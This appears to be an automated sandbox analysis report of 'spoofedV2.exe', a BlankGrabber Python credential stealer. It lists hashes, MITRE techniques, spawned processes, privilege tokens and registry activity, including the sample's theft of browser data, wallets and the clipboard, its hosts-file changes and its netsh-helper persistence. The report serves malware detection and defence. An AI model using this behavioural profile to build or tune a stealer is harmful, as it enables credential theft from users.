Malware Analysis Report

2024-11-15 09:53

Sample ID 241109-dvnj7awfnf
Target spoofedV2.exe
SHA256 e9dbb65873885de12d31b6087a300a03d23eca8af63dd7b1b72927ad11406ea1
Tags
blankgrabber upx collection credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

e9dbb65873885de12d31b6087a300a03d23eca8af63dd7b1b72927ad11406ea1

Threat Level: Known bad

The file spoofedV2.exe was found to be: Known bad.

Malicious Activity Summary

blankgrabber upx collection credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer

Blankgrabber family

A stealer written in Python and packaged with Pyinstaller

Drops file in Drivers directory

Command and Scripting Interpreter: PowerShell

Loads dropped DLL

Unsecured Credentials: Credentials In Files

Executes dropped EXE

Clipboard Data

Reads user/profile data of web browsers

Obfuscated Files or Information: Command Obfuscation

Looks up external IP address via web service

Accesses cryptocurrency files/wallets, possible credential harvesting

Enumerates processes with tasklist

Hide Artifacts: Hidden Files and Directories

UPX packed file

System Network Configuration Discovery: Internet Connection Discovery

Enumerates physical storage devices

Event Triggered Execution: Netsh Helper DLL

Browser Information Discovery

Unsigned PE

System Network Configuration Discovery: Wi-Fi Discovery

Suspicious use of WriteProcessMemory

Runs ping.exe

Suspicious behavior: GetForegroundWindowSpam

Suspicious behavior: EnumeratesProcesses

Detects videocard installed

Views/modifies file attributes

Suspicious use of AdjustPrivilegeToken

Suspicious use of SendNotifyMessage

Suspicious use of FindShellTrayWindow

Modifies registry class

Checks SCSI registry key(s)

Gathers system information

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-09 03:19

Signatures

A stealer written in Python and packaged with Pyinstaller

Description Indicator Process Target
N/A N/A N/A N/A

Blankgrabber family

blankgrabber

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-09 03:19

Reported

2024-11-09 03:23

Platform

win7-20241023-en

Max time kernel

117s

Max time network

119s

Command Line

"C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe"

Signatures

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Processes

C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe

"C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe"

C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe

"C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe"

Network

N/A

Files

C:\Users\Admin\AppData\Local\Temp\_MEI25922\python311.dll

MD5 1e76961ca11f929e4213fca8272d0194
SHA1 e52763b7ba970c3b14554065f8c2404112f53596
SHA256 8a0c27f9e5b2efd54e41d7e7067d7cb1c6d23bae5229f6d750f89568566227b0
SHA512 ec6ed913e0142a98cd7f6adced5671334ec6545e583284ae10627162b199e55867d7cf28efeaadce9862c978b01c234a850288e529d2d3e2ac7dbbb99c6cde9b

memory/2188-23-0x000007FEF57B0000-0x000007FEF5D9A000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-09 03:19

Reported

2024-11-09 03:23

Platform

win10v2004-20241007-en

Max time kernel

149s

Max time network

143s

Command Line

"C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe"

Signatures

Drops file in Drivers directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\drivers\etc\hosts C:\Windows\system32\attrib.exe N/A
File opened for modification C:\Windows\System32\drivers\etc\hosts C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe N/A
File opened for modification C:\Windows\System32\drivers\etc\hosts C:\Windows\system32\attrib.exe N/A

Clipboard Data

collection
Description Indicator Process Target
N/A N/A C:\Windows\system32\cmd.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\_MEI34842\rar.exe N/A

Reads user/profile data of web browsers

spyware stealer

Unsecured Credentials: Credentials In Files

credential_access stealer

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Obfuscated Files or Information: Command Obfuscation

defense_evasion

Enumerates processes with tasklist

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A

Hide Artifacts: Hidden Files and Directories

defense_evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\cmd.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Browser Information Discovery

discovery

Enumerates physical storage devices

Event Triggered Execution: Netsh Helper DLL

persistence privilege_escalation
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A
Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A

System Network Configuration Discovery: Internet Connection Discovery

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\cmd.exe N/A
N/A N/A C:\Windows\system32\PING.EXE N/A

System Network Configuration Discovery: Wi-Fi Discovery

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\cmd.exe N/A
N/A N/A C:\Windows\system32\netsh.exe N/A

Checks SCSI registry key(s)

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 C:\Windows\system32\taskmgr.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A C:\Windows\system32\taskmgr.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName C:\Windows\system32\taskmgr.exe N/A

Detects videocard installed

Description Indicator Process Target
N/A N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Gathers system information

Description Indicator Process Target
N/A N/A C:\Windows\system32\systeminfo.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000_Classes\Local Settings C:\Windows\system32\taskmgr.exe N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Windows\system32\taskmgr.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3484 wrote to memory of 4620 N/A C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe
PID 3484 wrote to memory of 4620 N/A C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe
PID 4620 wrote to memory of 3564 N/A C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe C:\Windows\system32\cmd.exe
PID 4620 wrote to memory of 3564 N/A C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe C:\Windows\system32\cmd.exe
PID 4620 wrote to memory of 1464 N/A C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe C:\Windows\system32\cmd.exe
PID 4620 wrote to memory of 1464 N/A C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe C:\Windows\system32\cmd.exe
PID 4620 wrote to memory of 2276 N/A C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe C:\Windows\system32\cmd.exe
PID 4620 wrote to memory of 2276 N/A C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe C:\Windows\system32\cmd.exe
PID 4620 wrote to memory of 2528 N/A C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe C:\Windows\system32\cmd.exe
PID 4620 wrote to memory of 2528 N/A C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe C:\Windows\system32\cmd.exe
PID 4620 wrote to memory of 4516 N/A C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe C:\Windows\system32\cmd.exe
PID 4620 wrote to memory of 4516 N/A C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe C:\Windows\system32\cmd.exe
PID 3564 wrote to memory of 3720 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3564 wrote to memory of 3720 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1464 wrote to memory of 804 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1464 wrote to memory of 804 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4620 wrote to memory of 1992 N/A C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe C:\Windows\system32\cmd.exe
PID 4620 wrote to memory of 1992 N/A C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe C:\Windows\system32\cmd.exe
PID 4620 wrote to memory of 1224 N/A C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe C:\Windows\system32\cmd.exe
PID 4620 wrote to memory of 1224 N/A C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe C:\Windows\system32\cmd.exe
PID 4620 wrote to memory of 4452 N/A C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe C:\Windows\system32\cmd.exe
PID 4620 wrote to memory of 4452 N/A C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe C:\Windows\system32\cmd.exe
PID 1224 wrote to memory of 1392 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 1224 wrote to memory of 1392 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 1992 wrote to memory of 4068 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 1992 wrote to memory of 4068 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 4620 wrote to memory of 1336 N/A C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe C:\Windows\system32\cmd.exe
PID 4620 wrote to memory of 1336 N/A C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe C:\Windows\system32\cmd.exe
